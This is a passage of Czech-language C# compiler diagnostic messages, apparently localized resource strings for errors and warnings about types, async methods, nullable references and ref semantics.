výrazu. + Očekává se třída SearchCriteria. + Rozhraní nemůžou obsahovat konstruktory instance. + Protože {0} vrací void, nesmí za klíčovým slovem return následovat výraz objektu. + Uživatelem definovaný operátor nemůže převést typ sám na sebe. + Nedá se pokračovat, protože úprava obsahuje odkaz na vložený typ: {0} + Protože se toto volání neočekává, vykonávání aktuální metody pokračuje před dokončením volání. Zvažte použití operátoru await na výsledek volání. + Vyvolejte System.IDisposable.Dispose() na přidělenou instanci {0} dřív, než budou všechny odkazy na ni mimo obor. + Přidělená instance {0} se neuvolní v průběhu všech cest výjimky. Vyvolejte System.IDisposable.Dispose() dřív, než budou všechny odkazy na ni mimo obor. + Uzel syntaxe určený ke spekulaci nemůže patřit do stromu syntaxe z aktuální kompilace. + Atribut zabezpečení {0} má neplatnou hodnotu SecurityAction {1}. + Parametr primárního konstruktoru typu jen pro čtení nejde přiřadit (s výjimkou nastavovacího kódu typu jenom pro inicializaci nebo inicializátoru proměnné). + Statická lokální funkce nesmí obsahovat odkaz na {0}. + Pokud se má přetypovat záporná hodnota, musí být uzavřená v závorkách. + Místní název {0} je moc dlouhý pro PDB. Zvažte jeho zkrácení nebo kompilaci bez /debug. + Očekává se definice člena, příkaz nebo konec souboru. + Modifikátor druhu odkazu parametru '{0}' neodpovídá odpovídajícímu parametru '{1}' v přepsaném nebo implementovaném členu. + Dekonstrukční proměnná nemůže být deklarovaná jako místní odkaz. + Protože se toto volání neočekává, vykonávání aktuální metody pokračuje před dokončením volání. + Klauzule using musí předcházet všem ostatním prvkům definovaným v oboru názvů s výjimkou deklarací externích aliasů. + Argument {0} by měla být proměnná, protože je předána parametru ref readonly. + Operátor await jde použít jenom v asynchronních metodách. Zvažte označení této metody modifikátorem async a změnu jejího návratového typu na Task<{0}>. + Statický člen {0} se nedá označit modifikátorem readonly. + Pevná vyrovnávací paměť může mít jen jednu dimenzi. + Atribut UnscopedRefAttribute nelze použít u parametrů, které mají modifikátor scoped. + Rozbalení možné hodnoty null + Výsledek výrazu je vždycky {0}, protože hodnota typu {1} se nikdy nerovná hodnotě null typu {2}. + proměnná + Typ odkazu s možnou hodnotou null v hodnotě typu {0} neodpovídá cílovému typu {1}. + Zápis aliasu {0} se dvěma dvojtečkami (::) nejde použít, protože alias odkazuje na typ. Místo toho použijte zápis s tečkou (.). + Byla zjištěna značka konfliktu sloučení. + Odkaz na sestavení {0} typu Friend je neplatný. V deklaracích InternalsVisibleTo nesmí být zadaná verze, jazykové prostředí, token veřejného klíče ani architektura procesoru. + Člen parametru {0} není možné vrátit podle odkazu prostřednictvím parametru odkazu; je ho možné vrátit pouze v příkazu return + Program, který používá příkazy nejvyšší úrovně, musí být spustitelný. + Vrací místní člen podle odkazu, ale nejedná se o místní odkaz + Prázdný znakový literál + Omezení class, struct, unmanaged, notnull a default se nedají kombinovat ani použít více než jednou a v seznamu omezení se musí zadat jako první. + {0} se nemůže přidat do tohoto sestavení, protože už to sestavení je. + Pro výraz switch se nenašel žádný optimální typ. + Veřejné podepisování netmodulů se nepodporuje. + {0} je již uvedeno v seznamu rozhraní u typu {2} jako {1}. + Levá strana přiřazení odkazu musí být parametr Ref. + Pole nebo vlastnost nemůže být typu {0}. + Na levé straně dekonstrukce nejsou povolené názvy prvků řazené kolekce členů. + Strom výrazu lambda nesmí obsahovat skupinu metod. + Očekávala se hodnota enable, disable nebo restore. + Ve výrazu as se nepovoluje použití typu odkazu s možnou hodnotou null {0}?; místo toho použijte základní typ {0}. + Nejde vytvořit vazbu delegáta s {0}, protože je členem struktury System.Nullable<T>. + metoda + Částečné deklarace {0} musí mít stejné názvy parametrů typů ve stejném pořadí. + __arglist nemůže mít argument předávaný pomocí in nebo out + Znaky {0} se na tomto místě nedají použít. + Operátor await jde použít jenom v asynchronní metodě {0}. Zvažte označení této metody modifikátorem async. + První parametr rozšiřující metody ref {0} musí být typem hodnoty nebo obecným typem omezeným na strukturu. + Mezi {0} a ukazatelem na funkci {1} se neshoduje odkaz. + {0} se nedá použít jako modifikátor konvence volání. + Zřetězení spekulativního sémantického modelu se nepodporuje. Měli byste vytvořit spekulativní model z nespekulativního modelu ParentModel. + Program má definovaný víc než jeden vstupní bod. V kompilaci použijte /main určující typ, který vstupní bod obsahuje. + rozšířené částečné metody + Funkce {0} není v C# 8.0 dostupná. Použijte prosím jazykovou verzi {1} nebo větší. + Funkce {0} není dostupná v jazyce C# 7.2. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 7.3. Použijte prosím jazyk verze {1} nebo vyšší. + Funkce {0} není dostupná v jazyce C# 7.1. Použijte prosím jazyk verze {1} nebo vyšší. + Použití proměnné v tomto kontextu může vystavit odkazované proměnné mimo rozsah jejich oboru. + Očekával se interpolovaný řetězec. + Nejde zahrnout fragment XML {1} ze souboru {0} -- {2} + Operátor převodu vloženého pole nebude použit pro převod z výrazu deklarujícího typu. + Typ {0} exportovaný z modulu {1} je v konfliktu s typem {2} exportovaným z modulu {3}. + Konstanta řetězce null není podporována jako vzor pro {0}. Místo toho použijte prázdný řetězec. + Vstupní bod nemůže být obecný nebo v obecném typu. + {0} nemá vhodnou statickou metodu Main. + Volajícímu se vrátí ovládací prvek před explicitním přiřazením pole{0}, což způsobí předchozí implicitní přiřazení default. + Vzor deconstruct s jedním elementem vyžaduje určitou další syntaxi pro zajištění jednoznačnosti. Doporučuje se přidat označení discard „_“ za koncovou závorku „)“. + Plně kvalifikovaný název {0} je moc dlouhý pro vygenerování ladicích informací. Z kompilace vyřaďte možnost /debug. + Před vrácením řízení volajícímu se musí v konstruktoru plně přiřadit pole struktury. Zvažte aktualizaci jazykové verze na automatické výchozí nastavení pole. + Volitelné parametry musí následovat po všech povinných parametrech + Varování přepisuje chybu. + Na tuto jmenovku se neodkazuje. + Proměnná {0} je deklarovaná, ale nikdy se nepoužívá. + Použití obecného prvku {1} {0} vyžaduje tento počet argumentů typů: {2}. + Metoda UnmanagedCallersOnly {0} nemůže implementovat člena rozhraní {1} v typu {2}. + Očekávala se direktiva #endif. + Příkaz goto nemůže přejít na místo za deklarací using. + Aktuální metoda volá asynchronní metodu, která vrací úlohu nebo úlohu<TResult> a ve výsledku nepoužije operátor await. Volání asynchronní metody spustí asynchronní úlohu. Vzhledem k tomu, že se ale nepoužil žádný operátor await, bude program pokračovat bez čekání na dokončení úlohy. Ve většině případů se nejedná o chování, které byste očekávali. Ostatní aspekty volání metody obvykle závisí na výsledcích volání nebo se aspoň očekává, že se volaná metoda dokončí před vaším návratem z metody obsahující volání. + +Stejně důležité je i to, co se stane s výjimkami, ke kterým dojde ve volané asynchronní metodě. Výjimka, ke které dojde v metodě vracející úlohu nebo úlohu<TResult>, se uloží do vrácené úlohy. Pokud úlohu neočekáváte nebo explicitně výjimky nekontrolujete, dojde ke ztrátě výjimky. Pokud úlohu očekáváte, dojde k výjimce znovu. + +Nejvhodnějším postupem je volání vždycky očekávat. + +Potlačení upozornění zvažte jenom v případě, když určitě nechcete čekat na dokončení asynchronního volání a jste si jistí, že volaná metoda nevyvolá žádné výjimky. V takovém případě můžete upozornění potlačit tak, že výsledek úlohy volání přidružíte proměnné. + výraz dotazu + Člen záznamu {0} musí být chráněný. + Neplatná hodnota pro argument u atributu {0} + Agnostické sestavení nemůže mít modul {0} určený pro konkrétní procesor. + Specifikátor formátu nesmí na konci obsahovat mezeru. + U tohoto parametru není možné použít atribut UnscopedRefAttribute, protože ve výchozím nastavení není nastaven obor. + Typ {0} se nedá použít jako cílový typ příkazu new(). + Argumenty InterpolatedStringHandlerArgumentAttribute nemůžou odkazovat na parametr, na kterém se atribut používá. + Proměnná má přiřazenou hodnotu, ale nikdy se nepoužívá. + Přistupující objekty add a remove musí mít tělo. + 'Explicitní implementace metody {0} nemůže implementovat {1}, protože se jedná o přistupující objekt. + Člen za běhu implementuje člena rozhraní s více shodami. + Komentář XML má duplicitní značku param pro {0}. + Název čítače výčtu {0} je rezervovaný a nedá se použít. + Strom výrazu lambda nesmí obsahovat inicializátor slovníku. + Interpolovaný literál nezpracovaného řetězce nezačíná dostatečným počtem znaků $, aby bylo možné takový počet po sobě jdoucích koncových složených závorek povolit jako obsah. + Metoda Slice vloženého pole nebude použita pro výraz přístupu k elementu. + Člen {0} neskrývá přístupný člen. Klíčové slovo new se nevyžaduje. + Specifikace pojmenovaných argumentů musí následovat po specifikaci všech pevných argumentů v dynamickém vyvolání. + {0}: Statické typy nejde používat jako parametry. + Číslo, které bylo předané do direktivy preprocesoru varování #pragma, nepředstavovalo platné číslo varování. Ověřte, že číslo představuje varování, ne chybu. + očekávat v blocích catch a blocích finally + Typy odkazů s možnou hodnotou null v návratovém typu neodpovídají cílovému delegátu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + {0}: Vstupní bod nemůže být obecný nebo v obecném typu. + {0} neimplementuje člen rozhraní {1}. + {0} neobsahuje definici pro {1} a přetížení optimální metody rozšíření {2} vyžaduje přijímač typu {3}. + #r je povolený jenom ve skriptech. + Obecné lokální funkci {0} s odvozenými argumenty typu nelze předat argument s dynamickým typem. + Koncová pozice direktivy #line musí být vyšší nebo rovna počáteční pozici. + Strom syntaxe už je přítomný. + Parametr primárního konstruktoru je stínován členem ze základní třídy. + Před vrácením řízení volajícímu se musí plně přiřadit automaticky implementovaná vlastnost {0}. Zvažte aktualizaci jazykové verze {1} na automatické výchozí nastavení vlastnosti. + Použití potenciálně nepřiřazeného pole. Zvažte aktualizaci jazykové verze na automatické výchozí nastavení pole. + Přístup přes ukazatel k možnému odkazu s hodnotou null + Neplatný název výstupu: {0} + Třída s atributem ComImport nemůže mít konstruktor definovaný uživatelem. + Název metody CollectionBuilderAttribute je neplatný. + Návratový výraz musí být typu {0}, protože tato metoda vrací pomocí odkazu. + Členy parametru primárního konstruktoru {0} typu jen pro čtení nejde použít jako hodnotu odkazu nebo výstupu (s výjimkou nastavovacího kódu typu jenom pro inicializaci nebo inicializátoru proměnné). + Automaticky implementované vlastnosti musí mít přistupující objekty get. + Identifikátor {0} není kompatibilní se specifikací CLS. + Návratový typ pro operátor ++ nebo -- musí odpovídat typu parametru nebo od něj musí být odvozený, nebo musí být obecným parametrem nadřazeného typu, který se na něj omezuje, pokud se nejedná o jiný parametr obecného typu. + Operátor převodu vloženého pole nebude použit pro převod z výrazu deklarujícího typu. + Chyba při čtení informací ladění pro {0} + Strom výrazu nemůže obsahovat hodnotu struktury REF ani zakázaný typ {0}. + Statické třídy nemůžou obsahovat destruktory. + Parametr {0} je argumentem pro převod obslužné rutiny interpolovaného řetězce v parametru {1}, ale odpovídající argument je zadaný za výrazem interpolovaného řetězce události. Přeuspořádejte argumenty, pro přesunutí {0} před {1}. + Tento výraz je vždy zadaného typu ({0}). + Odkazy na zdrojový soubor se nepodporují. + Modifikátor druhu odkazu parametru neodpovídá odpovídajícímu parametru ve skrytém členovi. + {0}: Statické typy nejde používat jako typy vracených hodnot. + Mezi poli více deklarací částečné třídy nebo struktury {0} není žádné definované řazení. Pokud chcete zadat řazení, musí být všechna pole instancí ve stejné deklaraci. + Nekonzistentní dostupnost: Typ vrácené hodnoty indexeru {1} je méně dostupný než indexer {0}. + Pole kompatibilní se specifikací CLS nemůže být typu volatile. + V jazyce C# {0} se nové řádky uvnitř neliterálního interpolovaného řetězce nepodporují. Použijte prosím verzi jazyka {1} nebo novější. + Nekonzistentní dostupnost: Typ parametru {1} je míň dostupný než metoda {0}. + strom musí mít kořenový uzel s prvkem SyntaxKind.CompilationUnit + Jako příkaz jde použít jenom objektové výrazy přiřazení, volání, zvýšení nebo snížení hodnoty nebo výrazy obsahující operátor new. + CallerFilePathAttribute použitý u parametru {0} nebude mít žádný vliv, protože se vztahuje na člen, který je použitý v kontextech nepovolujících volitelné argumenty. + Klíčové slovo params není v tomto kontextu platné. + Strom výrazu lambda nesmí obsahovat parametr ref, in nebo out. + Místní typ souboru {0} nejde použít v direktivě „global using static“. + Nejde inicializovat typ {0} pomocí inicializátoru kolekce, protože neimplementuje System.Collections.IEnumerable. + Porovnávání vzorů není povolené pro typy ukazatelů. + Výraz typu {0} vždy odpovídá poskytnutému vzoru. + Funkce {0} je aktuálně ve verzi Preview a je *nepodporovaná*. Pokud chcete používat funkce Preview, použijte jazykovou verzi preview. + První operand přetěžovaného operátoru shift musí být stejného typu jako obsahující typ. + automatický inicializátor vlastnosti + Chyba při čtení prostředku {0} -- {1} + Očekávala se direktiva preprocesoru. + První operand přetěžovaného operátoru shift musí být stejného typu jako obsahující typ nebo jeho parametr typu omezený na něj. + 'Operátor await nejde použít ve výrazu, který obsahuje typ {0}. + Nejde zadat modifikátory dostupnosti pro přistupující objekty jak vlastnosti, tak i indexer {0}. + Částečné deklarace metod mají rozdíly v signaturách. + Inicializační metoda modulu {0} nemůže být obecná a nesmí obsahovat obecný typ. + Názvy elementů řazené kolekce členů musí být jedinečné. + Název jazyka je neplatný. + {0}: Nejde explicitně volat operátor nebo přistupující objekt. + {0} nemůže být extern a mít inicializátor konstruktoru. + Typ hodnoty, která připouští hodnotu null, nemůže být null. + Automaticky implementované vlastnosti nejde vrátit pomocí odkazu. + Víceřádkové literály nezpracovaných řetězců se povolují pouze v doslovných interpolovaných řetězcích. + Chybí požadovaná mezera. + Chybí odkaz na netmodule {0}. + Použití potenciálně nepřiřazeného pole {0}. Zvažte aktualizaci jazykové verze {1} na automatické výchozí nastavení pole. + {0} definuje Equals, ale ne GetHashCode. + Operace způsobila přetečení zásobníku. + iterační proměnná foreach + {0}: Nejde přepsat; {1} není událost. + 'Duplicitní TypeForwardedToAttribute {0} + Vyrovnávací paměti pevné velikosti mají délku větší než nula. + 'Operátor Await nejde použít jako identifikátor v asynchronní metodě nebo výrazu lambda. + Konstantní hodnotu {0} nejde převést na typ {1} (k přepsání jde použít syntaxi unchecked). + Identifikátor není kompatibilní se specifikací CLS. + inicializátor slovníku + Vnitřní chyba v kompilátoru jazyka C# + Atribut CallerArgumentExpressionAttribute použitý u parametru {0} nebude mít žádný účinek. Přepíše ho atribut CallerLineNumberAttribute. + Vrací parametr pomocí odkazu, ale má obor vymezený na aktuální metodu + Parametr {0} musí mít při ukončení hodnotu jinou než null, protože parametr {1} není null. + interpolované řetězce + Ne všechny cesty kódu vracejí hodnotu v {0} typu {1}. + Pravděpodobně došlo k neúmyslnému porovnání odkazů. Je třeba přetypovat levou stranu. + V základním typu {0} se nenašel žádný přístupný kopírovací konstruktor. + Poziční člen {0}, který odpovídá tomuto parametru je skrytý. + Nejde vyřešit cestu k souboru {0} zadanému pro pojmenovaný argument {1} pro atribut PermissionSet. + Neplatné číslo + Odkazované sestavení {0} má jiné nastavení jazykové verze {1}. + Nejednoznačný odkaz v atributu cref + První parametr metody rozšíření nesmí být typu {0}. + odkazy jen pro čtení + {0} je {1}, což není platné v daném kontextu. + Přetěžovaná metoda {0} lišící se jen parametrem ref nebo out nebo rozměrem pole není kompatibilní se specifikací CLS. + Neplatný typ parametru void + U neobecných deklarací nejsou povolená omezení. + Komentář XML má syntakticky nesprávný atribut cref. + anonymní metody + Poznámka u typů odkazů s možnou hodnotou null by se měla v kódu používat jenom v kontextu poznámek #nullable. + Strom výrazů nesmí obsahovat výraz throw. + Typ {0} nejde převést na typ {1}. + Výraz filtru je konstantní hodnota false. Zvažte odebrání bloku try-catch. + Pojmenovaný argument {0} nejde zadat víckrát. + Před názvem parametru musí být uvedený specifikátor typu pole []. + Hodnotu null nejde převést na typ {0}, protože se jedná o typ, který nemůže mít hodnotu null. + Odkaz analyzátoru {0} byl zadán vícekrát + Modifikátor partial se může objevit jen bezprostředně před klíčovými slovy class, record, struct, interface nebo návratovým typem metody. + Metoda {0} musí být neobecná, aby odpovídala {1}. + Typ neimplementuje vzor kolekce. Člen není veřejná metoda instance nebo rozšíření + Typ argumentu atributu DefaultParameterValue musí odpovídat typu parametru. + Není k dispozici žádný cílový typ pro {0} + Neplatný parametr aliasu odkazu: {0}= – nenašel se název souboru. + Typ {0} se nedá použít pro pole záznamu. + Vlastnost pole nebo automaticky implementovaná vlastnost nemůže být typu {0}, pokud není členem instance struktury REF. + Neplatná odchylka: Parametr typu {1} musí být {3} platný v {0}, pokud není použita verze jazyka {4} nebo vyšší. {1} je {2}. + Direktiva using se dříve zobrazovala jako globální direktiva using + Atribut CallerArgumentExpressionAttribute použitý u parametru {0} nebude mít žádný účinek, protože platí pro člena, který se používá v kontextech nepovolujících volitelné argumenty. + Pojmenovaný argument {0} se používá mimo pozici, je ale následovaný nepojmenovaným argumentem. + Členy pole jen pro čtení {0} nejde vrátit zapisovatelným odkazem. + Nejde použít výraz typu {0} jako argument pro dynamicky volanou operaci. + Výrazy dotazů se zdrojovým typem dynamic nebo se spojenou sekvencí typu dynamic nejsou povolené. + Možnost {0} přepíše atribut {1} zadaný ve zdrojovém souboru nebo přidaném modulu. + {0}: Názvy členů nemůžou být stejné jako názvy jejich nadřazených typů. + {0}: typ použitý v asynchronním příkazu using musí být implicitně převoditelný na System.IAsyncDisposable nebo musí implementovat odpovídající metodu DisposeAsync. Měli jste v úmyslu použít using nebo await using? + Parametr {0} se v seznamu parametrů nachází za {1}, ale používá se jako argument pro převody obslužných rutin interpolovaných řetězců. To vyžaduje, aby volající změnil pořadí parametrů s pojmenovanými argumenty na lokalitě volání. Doporučujeme, abyste parametr obslužné rutiny interpolovaného řetězce vložili za všechny ostatní zahrnuté argumenty. + Neplatný název algoritmu hash: {0} + Kontextové klíčové slovo var se může objevit pouze v rámci deklarace lokální proměnné nebo v kódu skriptu. + Strom výrazů nesmí obsahovat přístup statického virtuálního člena nebo člena abstraktního rozhraní. + Neplatné základní číslo obrázku {0} + Událost Windows Runtimu se nesmí předat jako parametr out nebo ref. + Instance typu {0} nelze použít uvnitř vnořené funkce, výrazu dotazu, bloku iterátoru nebo asynchronní metody. + {0} neimplementuje člen rozhraní {1}. {2} nemůže implementovat člen {1}, protože nemá odpovídající návratový typ {3}. + Argument by měl být předán s klíčovým slovem ref nebo in. + vzory rozšířených vlastností + Typ jednoho z výrazů v klauzuli {0} je nesprávný. Nepovedlo se odvození typu při volání funkce {1}. + Komentář XML má atribut cref, který odkazuje na parametr typu. + Místní typ souboru{0}nemůže používat modifikátory přístupnosti. + Primární parametr konstruktoru '{0}' je stínován členem ze základu. + Očekává se název metody. + Pevnou lokální proměnnou {0} nejde použít v anonymní metodě, lambda výrazu nebo výrazu dotazu. + Metoda {0} se nepoužije jako vstupní bod, protože se našel synchronní vstupní bod {1}. + Klíčové slovo __arglist není v tomto kontextu platné. + Člen {0} musí mít při ukončení hodnotu jinou než null. + Elementy nemůžou mít hodnotu null. + Nepředstavuje symbol C#. + Skupina &method {0} se nedá převést na typ ukazatele, který neukazuje na funkci ({1}). + {0}: Statické typy nejde používat jako parametry. + Pouze „using static“ nebo „using alias“ může být „nebezpečný“. + Typ {0} exportovaný z modulu {1} je v konfliktu s typem deklarovaným v primárním modulu tohoto sestavení. + Výraz switch nezpracovává všechny možné hodnoty svého vstupního typu (není úplný) + nespravované konstruované typy + Přebírá adresu, získává velikost nebo deklaruje ukazatel na spravovaný typ + Zadaný řetězec verze „{0}“ neodpovídá požadovanému formátu – hlavní_verze[.podverze[.build[.revize]]] + Příkaz foreach nejde použít pro proměnné typu {0}, protože implementuje vytváření víc instancí {1}. Zkuste přetypování na konkrétní instanci rozhraní. + Komentář XML má značku param, ale neexistuje parametr s tímto názvem. + Očekával se identifikátor. + porovnávání vzorů + Použití aliasu nemůže být odkazový typ s možnou hodnotou null. + CallerMemberNameAttribute nebude mít žádný efekt. Přepisuje ho CallerFilePathAttribute. + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + typy souborů + Strom výrazu nesmí obsahovat základní přístup. + Parametr může mít jenom jeden modifikátor {0}. + V rozsahu příkazu goto není žádné takové návěstí {0}. + Nebezpečný kód může vzniknout jenom při kompilaci s přepínačem /unsafe. + Odkaz vrácený voláním funkce {0} nelze zachovat v rámci hranice await nebo yield. + {0}: Virtuální nebo abstraktní členy nemůžou být privátní. + Atribut CallerArgumentExpressionAttribute je použitý s neplatným názvem parametru. + pozice polí v záznamech + členové s modifikátorem readonly + Odkazované sestavení má jiné nastavení jazykové verze. + První parametr in nebo ref readonly metody rozšíření{0} musí být konkrétní (neobecný) typ hodnoty. + Generátor {0} se nepovedlo inicializovat. V důsledku toho může docházet k chybám kompilace a generátor nebude přispívat na výstup. Výjimka měla typ {1} se zprávou {2}. +{3} + Hodnotu typu {0} nejde použít jako výchozí hodnotu parametru {1} s možnou hodnotou null, protože {0} není jednoduchý typ. + Hodnotu typu {0} nejde použít jako výchozí parametr, protože neexistují žádné standardní převody na typ {1}. + Typ odkazu s možnou hodnotou null v typu parametru {0} neodpovídá zachycovatelné metodě {1}. + {0} musí být požadováno, protože přepíše požadovaný člen {1} + {0} je abstraktní, ale je obsažená v neabstraktním typu {1}. + dynamický + Může jít o přiřazení s odkazem null. + Člen parametru {0} není možné vrátit podle odkazu, protože je přiřazen k aktuální metodě. + Modul {0} v sestavení {1} předává typ {2} několika sestavením: {3} a {4}. + Po varování #pragma se očekávala hodnota disable nebo restore. + Hodnota SecurityAction {0} není platná pro atributy zabezpečení použité u typu nebo metody. + {0} je {1}, ale používá se jako {2}. + Člen záznamu {0} musí vracet {1}. + Direktivy preprocesoru musí být uvedené jako první neprázdné znaky na řádku. + pole + pole + alias using + oddělovače číslic + Použití potenciálně nepřiřazeného pole {0}. Zvažte aktualizaci jazykové verze {1} na automatické výchozí nastavení pole. + Ve výrazu is-type se nepovoluje použití typu odkazu s možnou hodnotou null {0}?; místo toho použijte základní typ {0}. + Parametr {0} musí mít při ukončení hodnotu jinou než null. + událost + Modifikátor {0} není pro tuto položku platný. + discards + V souboru klíče {0} chybí privátní klíč potřebný k podepsání. + popisek + Výraz __arglist může být jedině uvnitř volání nebo výrazu new. + Algoritmus {0} není podporovaný. + Metoda musí mít typ vrácené hodnoty. + parametr typu + Výčty nemůžou obsahovat explicitní konstruktory bez parametrů. + {0} má atribut UnmanagedCallersOnly a nedá se volat napřímo. Pro tuto metodu získejte ukazatel na funkci. + Obě deklarace částečných metod musí mít shodné modifikátory přístupnosti. + Není platné umístění atributu pro tuto deklaraci. + Při vytváření čísel hash došlo ke kryptografické chybě. + Tato metoda se dá používat jenom k vytváření tokenů – {0} není druh tokenu. + Člen {0} se v tomto atributu nedá použít. + {0} nemůže definovat přetíženou {1}, která se liší jenom v modifikátorech parametrů {2} a {3}. + Ukazatel na funkci {0} nepřijímá tento počet argumentů: {1} + Duplicitní operátor potlačení hodnoty null (!) + Typ odkazu s možnou hodnotou null v typu neodpovídá přepsanému členu. + Název {0} v aktuálním kontextu neexistuje. (Nechybí odkaz na sestavení {1}?) + Klíčové slovo base není k dispozici v aktuálním kontextu. + Lokální proměnnou {0} nejde použít dřív, než je deklarovaná. + asynchronní příkaz using + V obsahu elementu není povolený řetězec literálu ']]>'. + {0}: Nemůže implementovat dynamické rozhraní {1}. + deklarace proměnných výrazu v inicializátorech členů a dotazech + Cílový modul runtime nepodporuje referenční pole. + Volání {0} s {1} nelze zachytit z důvodu rozdílu v modifikátorech scoped nebo atributech [UnscopedRef]. + Částečné deklarace metod {0} mají nekonzistentní možnost použití hodnoty null v omezeních parametru typu {1}. + Parametr není platný pro zadaný nespravovaný typ. + Možnost /REFERENCEPATH + Strom výrazů nesmí obsahovat odkaz na místní funkci. + Pole má víc odlišných konstantních hodnot. + {0} verze {1} + Copyright (C) Microsoft Corporation. Všechna práva vyhrazena. + Atribut zabezpečení {0} není platný u tohoto typu deklarace. Atributy zabezpečení jsou platné jenom u deklarací sestavení, typu a metody. + using static + Ke členu {0} přidanému během aktuální relace ladění se dá přistupovat jenom z jeho deklarovaného sestavení {1}. + Za prvním tokenem v souboru se nedá použít #load. + Název typu obsahuje jenom malá písmena ASCII. Tyto názvy se můžou stát vyhrazenými pro daný jazyk. + Strom výrazů nesmí obsahovat deklaraci proměnné argumentu out. + Neplatný typ pro parametr {0} v atributu cref komentáře XML: {1}. + Typ nejde použít jako parametr typu v obecném typu nebo metodě. Typ argumentu s možnou hodnotou null neodpovídá omezení třídy. + Nekonzistentní dostupnost: Typ omezení {1} je míň dostupný než {0}. + {0} nemůže být extern i sealed. + Neočekávaný znak {0} + {0} není platný argument pojmenovaného atributu. Argumenty pojmenovaného atributu musí být pole, pro která nebyla použitá deklarace readonly, static ani const, nebo vlastnosti pro čtení i zápis, které jsou veřejné a nejsou statické. + Nerozpoznaná direktiva #pragma + Nejde deklarovat proměnnou statického typu {0}. + Přidali jste odkaz na sestavení pomocí parametru /link (vlastnost Přibalit definované typy nastavená na True). Tím se kompilátoru dává instrukce, aby vložil informace o typech spolupráce z tohoto sestavení. Kompilátor ale nemůže tyto informace z tohoto sestavení vložit, protože jiné sestavení, na které jste nastavili odkaz, odkazuje taky na toto sestavení, a to pomocí parametru /reference (vlastnost Přibalit definované typy nastavená na False). + +Pokud chcete vložit informace o typech spolupráce pro obě sestavení, odkazujte na každé z nich pomocí parametru /link (vlastnost Přibalit definované typy nastavená na True). + +Pokud chcete odstranit toto varování, můžete místo toho použít /reference (vlastnost Přibalit definované typy nastavená na False). V tomto případě uvedené informace poskytne primární definiční sestavení (PIA). + Typ odkazu s možnou hodnotou null v návratovém typu neodpovídá zachycovatelné metodě {0}. + přístupový objekt vlastnosti textu výrazu + {0} definuje operátor == nebo !=, ale nepřepisuje funkci Object.Equals(object o). + Chybný počet argumentů typu + {0} neimplementuje vzorek {1}. {2} nemá správný podpis. + Asynchronní příkaz foreach vyžaduje, aby návratový typ {0} pro {1} měl vhodnou veřejnou metodu MoveNextAsync a veřejnou vlastnost Current. + Deklarace oboru názvů nemůže mít modifikátory ani atributy. + {0}: Typy polí instance označené deklarací StructLayout(LayoutKind.Explicit) musí mít atribut FieldOffset. + Nejde vytvořit instanci abstraktního typu nebo rozhraní {0}. + Explicitní implementace rozhraní události musí používat syntaxi přistupujícího objektu události. + Vyhodnocení konstantní hodnoty pro {0} zahrnuje cyklickou definici. + {0} není platné umístění atributu pro tuto deklaraci. Platnými umístěními atributů pro tuto deklaraci jsou {1}. Všechny atributy v tomto bloku se budou ignorovat. + Výsledek výrazu stackalloc typu {0} v tomto kontextu může být vystaven mimo obsahující metodu + Klíčové slovo {0} je nejednoznačné mezi hodnotami {1} a {2}. Buď použijte parametr @{0} nebo explicitně zadejte příponu Attribute. + Očekával se středník (;). + Dynamicky volané volání může za běhu selhat, protože nejmíň jedno použitelné přetížení představuje podmíněnou metodu. + Obor názvů je v konfliktu s importovaným typem. + Částečná metoda nesmí mít víc implementujících deklarací. + {0} nejde použít jako hodnotu Ref nebo Out, protože je {1}. + Sestavení {0} udělilo přístup typu Friend, ale stav podepsání silného názvu u výstupního sestavení neodpovídá stavu udělujícího sestavení. + Vytvoření objektu s cílovým typem + Konstruktor deklarovaný v typu se seznamem parametrů musí mít inicializátor konstruktoru this. + Omezení nemůže být dynamický typ {0}. + Operátor {0} nejde použít na operand typu {1}. + Parametr primárního konstruktoru typu jen pro čtení nejde vrátit zapisovatelným odkazem. + {0}: Odkaz na pole s modifikátorem volatile se nezpracuje jako volatile. + Strom výrazu nemůže obsahovat dynamickou operaci. + Lokální proměnné s implicitním typem nemůžou být pevné. + Importovaný typ {0} je neplatný. Obsahuje cyklickou závislost základních typů. + Našlo se víc implementací vzorku dotazu pro typ zdroje {0}. Nejednoznačné volání funkce {1}. + Přepínač příkazového řádku {0} ještě není implementovaný, a tak se ignoroval. + Typ odkazu s možnou hodnotou null v typu neodpovídá implementovanému členu. + Metoda, operátor nebo přistupující objekt {0} je označený jako externí a nemá žádné atributy. Zvažte možnost přidání atributu DllImport k určení externí implementace. + {0} není platný název parametru z {1}. + Nekonzistentní dostupnost: Typ parametru {1} je míň dostupný než indexer {0}. + Předdefinovaný typ {0} je deklarovaný v několika odkazovaných sestaveních: {1} a {2}. + vlastnost s výrazem v těle + RefKind.Out není platný druh odkazu pro návratový typ. + alternativní interpolované doslovné řetězce + skrývání názvů ve vnořených funkcích + Atribut FieldOffset není povolený pro pole typu static nebo const. + Místní hodnotu odkazu {0} nejde použít uvnitř anonymní metody, výrazu lambda nebo výrazu dotazu. + Parametr není možné vrátit podle odkazu {0}, protože je přiřazen k aktuální metodě. + Operátor {0} je nejednoznačný na operandech typu {1} a {2}. + Typ vrácené hodnoty {0} není kompatibilní se specifikací CLS. + Arm výrazu přepínače nezačíná klíčovým slovem case. + CallerArgumentExpressionAttribute jde použít jenom pro parametry s výchozími hodnotami. + Předpokládá se, že odkaz na sestavení odpovídá identitě. + {0} neobsahuje definici pro {1} a nenašla se žádná metoda rozšíření {1}, která by přijímala první argument typu {0}. (Nechybí direktiva using pro {2}?) + Je určené zpožděné podepsání, které vyžaduje veřejný klíč, ale není zadaný žádný veřejný klíč. + Výraz způsobí výjimku System.NullReferenceException, protože výchozí hodnota {0} je null. + Indexery musí mít nejmíň jeden parametr. + Použití operátoru {0} pro testování kompatibility s typem {1} je v podstatě totožné s testováním kompatibility s typem {2} a bude úspěšné pro všechny hodnoty, které nejsou null. + Indikované volání je zachyceno vícekrát. + Očekává se hodnota integrálního typu. + Argument nejde použít jako výstup pro parametr z důvodu rozdílů v možnostech použití hodnoty null u odkazových typů. + Tato jazyková funkce ({0}) zatím není implementovaná. + Strom syntaxe by se měl vytvořit z odeslání. + Plně kvalifikovaný název je pro ladicí informace moc dlouhý. + Modifikátor readonly musí být zadaný za ref. + Nenašla se žádná hodnota RuntimeMetadataVersion, žádné sestavení obsahující System.Object ani nebyla v možnostech zadaná hodnota pro RuntimeMetadataVersion. + Poznámka pro typy odkazů s možnou hodnotou null by se měla používat jenom v kódu v rámci kontextu 